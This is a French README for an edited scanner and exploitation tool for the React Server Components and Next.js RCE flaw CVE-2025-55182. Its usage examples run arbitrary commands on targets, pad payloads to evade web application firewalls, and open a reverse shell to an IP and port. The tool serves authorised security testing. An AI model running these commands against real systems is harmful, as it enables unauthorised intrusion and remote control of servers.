
Une version évoluée du scanner assetnote CVE-2025-55182
High Fidelity Detection for RSC/Next.js RCE
Scanner pour la détection de vulnérabilités d'exécution de code à distance (RCE) dans les applications React Server Components et Next.js.
Le React2Shell Scanner est un outil spécialisé pour identifier les vulnérabilités d'exécution de code à distance (RCE) dans les applications utilisant React Server Components (RSC) et Next.js. L'outil détecte les vulnérabilités liées aux CVEs suivants :
L'outil effectue des vérifications haute fidélité en utilisant la détection par canal auxiliaire et une preuve de concept de RCE, avec la capacité d'extraire les résultats dynamiques des commandes exécutées via l'analyse automatique des réponses HTTP.
Ceci est une version éditée par @imguimoraes du scanner original développé par l'Assetnote Security Research Team. Le PoC RCE original a été créé par @maple3142.
pip install requests tqdm
Ou en utilisant le fichier requirements.txt :
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [options]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| Option | Description |
|---|---|
-u, --url URL | URL ou hôte unique à vérifier |
-l, --list FILE | Fichier contenant une liste d'hôtes (un par ligne) |
| Option | Description |
|---|---|
-t, --threads N | Nombre de threads concurrents (défaut : 10) |
--timeout SECONDES | Timeout des requêtes en secondes (défaut : 10) |
-k, --insecure | Désactiver la vérification du certificat SSL (activé par défaut) |
| Option | Description |
|---|---|
-o, --output FICHIER | Fichier de sortie pour les résultats au format JSON |
--all-results | Enregistrer tous les résultats dans le fichier, pas seulement les vulnérables |
-v, --verbose | Sortie verbeuse (affiche des extraits de réponse pour analyse) |
-q, --quiet | Mode silencieux (affiche uniquement les hôtes vulnérables) |
--no-color | Désactiver la sortie colorée |
| Option | Description |
|---|---|
-H, --header "Key: Value" | Ajouter un en-tête HTTP personnalisé (peut être utilisé plusieurs fois) |
| Option | Description |
|---|---|
--safe-check | Utiliser la détection par canal auxiliaire sécurisée au lieu du PoC RCE (n'exécute pas de code) |
--windows | Utiliser la charge utile PowerShell au lieu du shell Unix (pour environnements Windows) |
--waf-bypass | Ajouter des données aléatoires à la charge utile pour contourner le WAF (défaut : 128 Ko) |
--waf-bypass-size KO | Taille des données aléatoires en Ko pour le contournement WAF (défaut : 128) |
--payload COMMANDE | Commande personnalisée à exécuter dans le RCE (défaut : echo $((41*271))) |
--reverse-shell IP:PORT | Créer une connexion reverse shell vers IP:PORT spécifié |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
Le scanner affiche les résultats avec des codes de couleur indiquant le statut :
Pour les hôtes vulnérables, le résultat de la commande exécutée est affiché lorsqu'il est disponible via l'extraction automatique de l'en-tête X-Action-Redirect ou du corps de la réponse.
Lorsque l'option -o est utilisée, la sortie est enregistrée au format JSON avec la structure suivante :
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
Champs du résultat :
vulnerable : true si vulnérable, false si non vulnérable, null si une erreur s'est produitecommand_result : Résultat de la commande exécutée extrait de la réponse (lorsqu'il est disponible)final_url : URL finale testée (après suivi des redirections si activé)status_code : Code HTTP de la réponserequest : Requête HTTP complète envoyéeresponse : Réponse HTTP reçue (premiers 2000 caractères)error : Message d'erreur s'il y en atimestamp : Horodatage UTC de la vérificationLe scanner offre deux méthodes de détection :
--safe-check) : Détection par canal auxiliaire non invasive qui vérifie les schémas d'erreur dans la réponse sans exécuter de code. Utile pour un scan initial sans impact.Le scanner effectue une analyse automatique des réponses HTTP pour extraire les résultats des commandes exécutées :
X-Action-Redirect (format : NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} ou 1:E{"digest":"<result>"})--payloadL'extraction est effectuée dynamiquement, sans dépendre de valeurs fixes, permettant de valider l'exécution de n'importe quelle commande.
Lorsque l'option --waf-bypass est utilisée :
--waf-bypass-size (défaut : 128 Ko)Le paramètre --payload permet de spécifier n'importe quelle commande à exécuter :
echo $((41*271)) (résultat : 11111)--windows est actifLe résultat de la commande est automatiquement extrait et affiché, quelle que soit la valeur retournée.
L'option --reverse-shell permet d'établir une connexion reverse shell :
IP:PORT (exemple : 192.168.1.100:4444)powershell.exe/bin/shCet outil est destiné exclusivement à des fins éducatives et à des tests de sécurité autorisés.
L'exploit RCE original a été créé par @maple3142.
Le scanner original a été développé par l'Assetnote Security Research Team :
Cette version éditée conserve les fonctionnalités du scanner original avec des améliorations supplémentaires :
Édité par : guiimoraes
Si vous trouvez des bogues ou avez des suggestions d'amélioration, veuillez ouvrir une issue dans le dépôt en décrivant le problème de manière détaillée.